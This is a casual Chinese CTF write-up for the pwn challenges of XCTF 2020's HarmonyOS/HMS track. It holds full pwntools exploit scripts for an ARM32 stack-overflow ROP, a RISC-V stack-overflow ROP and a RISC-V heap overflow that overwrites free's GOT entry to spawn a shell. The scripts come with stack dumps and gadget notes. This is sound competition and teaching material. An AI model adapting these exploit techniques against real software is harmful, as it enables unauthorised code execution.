0%

xctf高校挑战赛2020-华为harmonyos和hms专场WP(pwn部分)

三道题,两个riscv,一个arm签到,👴看了一天的riscv,就是没有找到洞,就很离谱,然后👴看到上了个新题,还是个签到arm,这👴直接一把梭,抢个一血,舒服了,剩下俩题比赛结束发现,👴洞找都找歪来,艹(👴就说猜那echo有个堆溢出,然后对着第一题找了半天,结果第二题的洞和👴猜的一模一样,第一题结果是个栈溢出,👴傻了)。

pwn1

简单的arm32的栈溢出,开了个nx保护,直接先打过去用printf泄露一次libc地址,然后利用这个地址和libc里的gadget,libc里的system,binsh字符串。直接打就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python 
# -*- coding: utf-8 -*-
from pwn import *
import os
context.log_level = 'debug'
elf=ELF('./bin')
libc=ELF('./libc-2.31.so')
read_got=elf.got['read']
printf_got=elf.got['printf']

def gdb_attach():
os.system('xfce4-terminal -x sh -c "gdb-multiarch test_mips -ex \'target remote 127.0.0.1:1234\'"')
#p = process(['qemu-arm','-L','/usr/arm-linux-gnueabihf','./bin'])
#qemu-arm -L /usr/arm-linux-gnueabihf ./bin
p=remote('139.159.210.220','9999')
p.recvuntil('input:')
'''
0x00010500 : pop {fp, pc}
0x00010348 : pop {r3, pc}
0x00010498 : pop {r4, pc}
0x000bc0c4 : pop {r0, r1, r2, r3, fp, pc}
0x0006beec : pop {r0, r4, pc}
'''
use_addr=0x104d8
read_addr=0xff748e30
libc_addr=read_addr-libc.sym['read']
system=libc_addr+libc.sym['system']
bin_sh=libc_addr+0xFE861
pop_6=0x000bc0c4+libc_addr
pop_3=libc_addr+0x0006beec
print(hex(system))
print(hex(libc_addr))
payload='\x00'*0x104+p32(pop_3)+p32(bin_sh)+p32(0)+p32(system)
#payload='\x00'*0x104+p32(0x00010348)+p32(read_got)+p32(use_addr)#先打一次这个泄露地址
#30 8e 74 ff 60 55 6b ff #泄露出read地址
p.send(payload)
p.interactive()

harmoshell

这题经过👴结束后询问pwn👴👴,才得知原来是个栈溢出,给👴整傻了,下次不能看着malloc就嗯想着找栈了,👴连第二题都没时间看。👴测了下,直接echo 输入一长串(echo > 一个不存在的文件名,要是已经存在的就不会溢出),会有一个segment fault,仔细调试发现是read 0x200,通过下断点可以调试出返回地址的位置,。可以,接下来就是找gadget rop了。这里我们得先泄露libc和heap地址,用来存放bin sh和找system的地址,当然直接用libc里的也可以。

内存结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0x40007ffbd0:	0x6161616161616161	0x6262626262626262	#从这里开始读入栈	
0x40007ffbe0: 0x6363636363636363 0x6464646464646464
0x40007ffbf0: 0x00000040007ffd0a 0x0000000000025ee0
0x40007ffc00: 0x0000000000013028 0x000000400080af98
0x40007ffc10: 0x0000000000000000 0x00000040009a8b50
0x40007ffc20: 0x00000040007ffd10 0x000000400080f69e
0x40007ffc30: 0x0000000000000010 0x00000040007ffd10
0x40007ffc40: 0x00000000000118b8 0x0000000000000007
0x40007ffc50: 0x0000000000025ea0 0x8a2df9690e721a00
0x40007ffc60: 0x8a2df9690e721a00 0x0000000000000004
0x40007ffc70: 0x0000000000000010 0x00000000000115c6
0x40007ffc80: 0x0000000000000000 0x0000000000000000
0x40007ffc90: 0x0000000000000000 0x0000000000000000
0x40007ffca0: 0x0000000000000000 0xffffffff3c23d70a
0x40007ffcb0: 0x0000000000000000 0x0000000000000000
0x40007ffcc0: 0x0000000000000000 0x00000040007ffd17
0x40007ffcd0: 0x0000000000000000 0x0000000000000000
0x40007ffce0: 0x0000000000012000 0x0000000000000006
0x40007ffcf0: 0x0000000000013000 0x0000000000011840
0x40007ffd00: 0x0000000000025e70 0x0000000000010f4c
返回地址,这里我们填上找到的gadget
0x40007ffd10: 0x63003e006f686365 0x0000000000000000
#改写成 bin sh
0x40007ffd20: 0x0000000000000000 0x0000000000000000
#改写为 system
read (0,0x40007ffbd0,0x200)

如何找gadget:

首先riscv👴用ROPgadget不好使,ropper也不支持,从github找的一个脚本也不好用,👴佛辣,那就肉眼看吧,ret的为 0x8280,我们可以直接在ida里找ret的汇编,一共几十个。注意一下,riscv是用ra存储返回地址,同时没有pop这种,所以这里我们找ld a0,8(sp)这种,意思就是把sp+0x8位置存入a0,同理找到同时对ra,a0操作的gadget如下:

1
2
3
4
.text:00000000000110B4                 c.ld      ra, 18h(sp)
.text:00000000000110B6 c.ld a0, 8(sp)
.text:00000000000110B8 c.addi sp, sp, 20h
.text:00000000000110BA c.ret

然后就根据内存布局直接写payload就行,调用system进行getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/python 
# -*- coding: utf-8 -*-

from pwn import *
import os
context.log_level = 'debug'
elf=ELF('./harmoshell')
libc=ELF('./libs/lib/libc-2.27.so')
free_got=elf.got['free']

read_plt=0x10dc0
puts=0x10d20
def gdb_attach():
os.system('xfce4-terminal -x sh -c "gdb-multiarch test_mips -ex \'target remote 127.0.0.1:1234\'"')
p = process(['./qemu-riscv64','-L','./libs','./harmoshell'])
#,'-g','12345'
#p=remote('121.36.192.114','9999')
def add(name):
p.recvuntil('$ ')
p.sendline('touch '+name)

def free(name):
p.recvuntil('$ ')
p.sendline('rm '+name)

def cat(name):
p.recvuntil('$ ')
p.sendline('cat '+name)
p.recvuntil('Content: ')
result=p.recvline()
return result

def edit(name,msg):
p.recvuntil('$ ')
p.sendline('echo > '+name)
sleep(1)
p.send(msg)

def edit2(name,msg):
p.recvuntil('$ ')
p.sendline('echo >> '+name)
sleep(1)
p.send(msg)


def ls():
p.recvuntil('$ ')
p.sendline('ls')

ld_ra=0x110b4
#0x110 296 256+0x28





for i in range(10):
add(chr(i+0x61))
for i in range(8):
free(chr(i+0x61))
for i in range(8):
add(chr(i+0x61))
heap_addr=u64(cat('b')[0:3].ljust(8,'\x00'))
print(hex(heap_addr))#

edit('h','a'*8)
edit('a','/bin/sh\x00')
libc_addr=u64(cat('h')[8:11].ljust(8,'\x00'))-0x1079f8+0x4000000000
bin_sh=heap_addr+0x280
#0xaa89f8-0x1079f8=
print(hex(libc_addr))#
system=libc_addr+libc.sym['system']
#0x26690-0x26410=0x280


payload='\x00'*0x110+p64(0x12000)+p64(0x6)+p64(0x13000)+p64(0x11840)+p64(0x25e70)+p64(ld_ra)+p64(0)+p64(bin_sh)+p64(0)+p64(system)
edit('z',payload)


'''
'''
'''
.text:00000000000110B4 c.ld ra, 18h(sp)
.text:00000000000110B6 c.ld a0, 8(sp)
.text:00000000000110B8 c.addi sp, sp, 20h
.text:00000000000110BA c.ret
'''
p.interactive()

harmoshell2

第二题才是堆溢出是我没想到的,👴看了那么久第一题,结果堆溢出在第二题,照着👴想的第一题堆溢出思路直接秒了,(错失上分机会.jpg),依旧没开保护,和之前xctf第二场那个offbyone一样打free got就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/python 
# -*- coding: utf-8 -*-

from pwn import *
import os
context.log_level = 'debug'
elf=ELF('./harmoshell2')
libc=ELF('./libs/lib/libc-2.27.so')
free_got=elf.got['free']
def gdb_attach():
os.system('xfce4-terminal -x sh -c "gdb-multiarch test_mips -ex \'target remote 127.0.0.1:1234\'"')
p = process(['./qemu-riscv64','-L','./libs','-g','12345','./harmoshell2'])
#,'-g','12345'
#p=remote('121.36.192.114','9999')
def add(name):
p.recvuntil('$ ')
p.sendline('touch '+name)

def free(name):
p.recvuntil('$ ')
p.sendline('rm '+name)

def cat(name):
p.recvuntil('$ ')
p.sendline('cat '+name)
p.recvuntil('Content: ')
result=p.recvline()
return result

def edit(name,msg):
p.recvuntil('$ ')
p.sendline('echo > '+name)
sleep(1)
p.send(msg)

def edit2(name,msg):
p.recvuntil('$ ')
p.sendline('echo >> '+name)
sleep(1)
p.send(msg)


def ls():
p.recvuntil('$ ')
p.sendline('ls')

pause()

#a-p
add('a')
add('b')
add('c')
add('d')
free('d')
edit('a','/bin/sh\x00'+'\x00'*0xf8)
edit('b','b'*0x100)
payload=p64(0)+p64(0x31)+p64(0x62)+p64(0)+p64(free_got)+p64(0x3)+p64(0x3)
edit2('a',payload)
free_got=u64(cat('b')[0:3].ljust(8,'\x00'))
libc_addr=free_got-libc.sym['free']
print(hex(libc_addr))
system=libc_addr+libc.sym['system']
edit('b',p64(system)[0:3])
free('a')
p.interactive()
#system
好饿啊,早知道不学安全了